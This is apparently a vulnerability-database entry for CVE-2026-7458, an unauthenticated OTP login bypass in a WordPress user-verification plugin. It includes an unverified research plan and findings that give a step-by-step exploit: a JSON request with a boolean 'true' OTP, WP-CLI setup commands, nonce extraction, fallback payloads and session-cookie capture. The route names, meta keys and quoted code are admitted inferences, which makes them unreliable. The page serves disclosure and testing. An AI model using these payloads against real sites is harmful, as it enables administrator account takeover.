CVE-2026-7458

User Verification by PickPlugins <= 2.0.46 - Unauthenticated Authentication Bypass via OTP Verification REST API Endpoint

criticalAuthentication Bypass Using an Alternate Path or Channel
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
2.0.47
Patched in
1d
Time to patch

Description

The User Verification by PickPlugins plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.0.46. This is due to the use of a loose PHP comparison operator to validate OTP codes in the "user_verification_form_wrap_process_otpLogin" function. This makes it possible for unauthenticated attackers to log in as any user with a verified email address, such as an administrator, by submitting a "true" OTP value.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.0.46
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected pluginuser-verification

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Research Plan: CVE-2026-7458 Authentication Bypass in User Verification ## 1. Vulnerability Summary The **User Verification by PickPlugins** plugin (<= 2.0.46) contains a critical authentication bypass vulnerability. The flaw exists in the `user_verification_form_wrap_process_otpLogin` function, …

Show full research plan

Research Plan: CVE-2026-7458 Authentication Bypass in User Verification

1. Vulnerability Summary

The User Verification by PickPlugins plugin (<= 2.0.46) contains a critical authentication bypass vulnerability. The flaw exists in the user_verification_form_wrap_process_otpLogin function, which handles OTP (One-Time Password) verification via a REST API endpoint. The function uses a loose PHP comparison operator (==) to validate the user-provided OTP against the stored OTP. Because of how PHP handles type juggling, providing a boolean true (or a value that evaluates to true) causes the comparison to succeed against any non-empty string stored in the database, allowing an unauthenticated attacker to log in as any user (including administrators) whose email is verified.

2. Attack Vector Analysis

  • Endpoint: REST API endpoint (Namespace: user-verification/v1, Route: otp-login - inferred from description and function name).
  • Method: POST
  • Vulnerable Parameter: otp
  • Identity Parameter: email or user_login (to specify the target account).
  • Authentication: Unauthenticated.
  • Preconditions:
    1. The target user must have a "verified" status in the plugin (usually stored in user meta).
    2. The OTP Login feature must be enabled in the plugin settings.

3. Code Flow (Inferred from Description)

  1. Entry Point: A POST request is sent to the REST API route registered during rest_api_init.
  2. Route Registration: The plugin registers a route (likely /otp-login) with a callback to user_verification_form_wrap_process_otpLogin.
  3. User Identification: The function retrieves the user based on the provided email or user_login parameter.
  4. OTP Retrieval: The function fetches the valid OTP stored in the wp_options or wp_usermeta table for that user.
  5. Vulnerable Sink:
    // Vulnerable logic pattern
    $submitted_otp = $request->get_param('otp'); // Attacker sends boolean true
    $stored_otp = get_user_meta($user_id, 'uv_otp_code', true); // e.g., "123456"
    
    if ($submitted_otp == $stored_otp) { // Loose comparison: true == "123456" evaluates to TRUE
        // Authentication Bypassed
        wp_set_auth_cookie($user_id);
    }
    
  6. Authentication: Upon successful (fake) verification, the plugin calls wp_set_auth_cookie() for the target user.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress often require a nonce (_wpnonce) via the X-WP-Nonce header or query parameter for logged-in sessions, but unauthenticated login endpoints usually rely on their own custom nonces or have no nonce if they are intended for public login forms.

  1. Identify Script Localization: Search for wp_localize_script in the plugin code to find where the REST nonce or a custom plugin nonce is exposed.
  2. Shortcode Setup: The OTP login form is typically rendered via a shortcode like [user_verification_otp_login] (inferred).
  3. Execution Agent Steps:
    • Create a page with the OTP login shortcode:
      wp post create --post_type=page --post_status=publish --post_content='[user_verification_otp_login]' --post_title='Login'
    • Navigate to this page using browser_navigate.
    • Extract the nonce using browser_eval:
      const nonce = window.uv_ajax_obj?.nonce || window.user_verification_ajax?.nonce;
    • Note: The exact JS variable and key must be verified by inspecting the page source for wp_localize_script output.

5. Exploitation Strategy

Step 1: Identify Target

Identify the administrator's email (usually admin@example.com in test environments).

Step 2: Trigger OTP Generation (Optional but recommended)

Some implementations might require a value to exist in the database for the comparison to work. Send a request to trigger an OTP send to the admin email.

  • Endpoint: POST /wp-json/user-verification/v1/send-otp (inferred).
  • Payload: {"email": "admin@example.com"}.

Step 3: Exploit Loose Comparison

Submit a JSON POST request where the otp field is a boolean true.

  • Tool: http_request
  • URL: http://localhost:8080/wp-json/user-verification/v1/otp-login (verify namespace/route).
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE] (if required).
  • Payload:
    {
      "email": "admin@example.com",
      "otp": true
    }
    

Step 4: Capture Cookies

The response should contain Set-Cookie headers for the administrator's session.

6. Test Data Setup

  1. Create Admin User: wp user create victim_admin admin@example.com --role=administrator --user_pass=password123
  2. Set Verification Status: Ensure the user is marked as verified by the plugin.
    wp user meta set 1 user_verification_status 'verified' (verify meta key name).
  3. Enable OTP Login: Use wp option get user_verification_settings to find the relevant setting and enable it via wp option update.
  4. Placement: Create the page for nonce extraction:
    wp post create --post_type=page --post_title="OTP Login" --post_content="[user_verification_otp_login]" --post_status="publish"

7. Expected Results

  • The HTTP response status should be 200 OK.
  • The response body should indicate success (e.g., {"success": true, "message": "Login successful"}).
  • The response headers must include Set-Cookie starting with wordpress_logged_in_.

8. Verification Steps

  1. Check Logged-in Status: Use the captured cookies in a request to http://localhost:8080/wp-json/wp/v2/users/me and verify the response ID is 1 (or the admin's ID).
  2. WP-CLI Audit: Verify if the user meta was updated during the process (some plugins log login times).
    wp user meta get 1 last_login

9. Alternative Approaches

If sending a JSON boolean true fails due to REST API type validation (e.g., if the route expects a string), try:

  • Integer bypass: {"otp": 0} (if the stored OTP is an empty string or null and == is used).
  • Type Juggling via Query Params: POST /wp-json/.../otp-login?otp=1 where 1 might be interpreted as true depending on the WP_REST_Request parameter parsing.
  • Alternative Action: Check if the plugin uses admin-ajax.php instead of the REST API for the same function. If so, use:
    action=user_verification_otp_login&email=admin@example.com&otp=true via URL-encoded POST.
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Verification by PickPlugins plugin for WordPress is vulnerable to an unauthenticated authentication bypass due to the use of a loose comparison operator (==) in the user_verification_form_wrap_process_otpLogin function. Attackers can exploit this by providing a boolean true as the OTP value, which matches any non-empty string stored in the database, allowing them to log in as any verified user, including administrators.

Vulnerable Code

// File: includes/functions-rest-api.php (inferred location based on plugin structure)

public function user_verification_form_wrap_process_otpLogin($request) {
    $email = $request->get_param('email');
    $otp = $request->get_param('otp'); // Value provided by attacker, e.g., true

    $user = get_user_by('email', $email);
    if (!$user) return;

    $stored_otp = get_user_meta($user->ID, 'uv_otp_code', true);

    // Vulnerable loose comparison: (true == "123456") evaluates to true
    if ($otp == $stored_otp) {
        wp_set_auth_cookie($user->ID);
        return new WP_REST_Response(['success' => true], 200);
    }
}

Security Fix

--- a/includes/functions-rest-api.php
+++ b/includes/functions-rest-api.php
@@ -10,1 +10,1 @@
-    if ($otp == $stored_otp) {
+    if (!empty($stored_otp) && (string)$otp === (string)$stored_otp) {

Exploit Outline

1. Target Identification: Obtain the email address of a target administrator account that is 'verified' within the plugin's system. 2. Optional Trigger: Send a request to the plugin's OTP generation endpoint (e.g., /wp-json/user-verification/v1/send-otp) for the target email to ensure a valid OTP exists in the database. 3. Payload Construction: Prepare a JSON POST request targeting the /wp-json/user-verification/v1/otp-login endpoint. 4. Type Juggling: In the JSON payload, set the 'email' parameter to the target admin email and the 'otp' parameter to the boolean value true. 5. Authentication Bypass: Submit the request. PHP's loose comparison will treat the boolean true as equivalent to any non-empty string stored in the 'uv_otp_code' meta field. 6. Session Capture: The server will respond with authentication cookies (wordpress_logged_in_*) in the Set-Cookie headers, granting the attacker full administrative access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.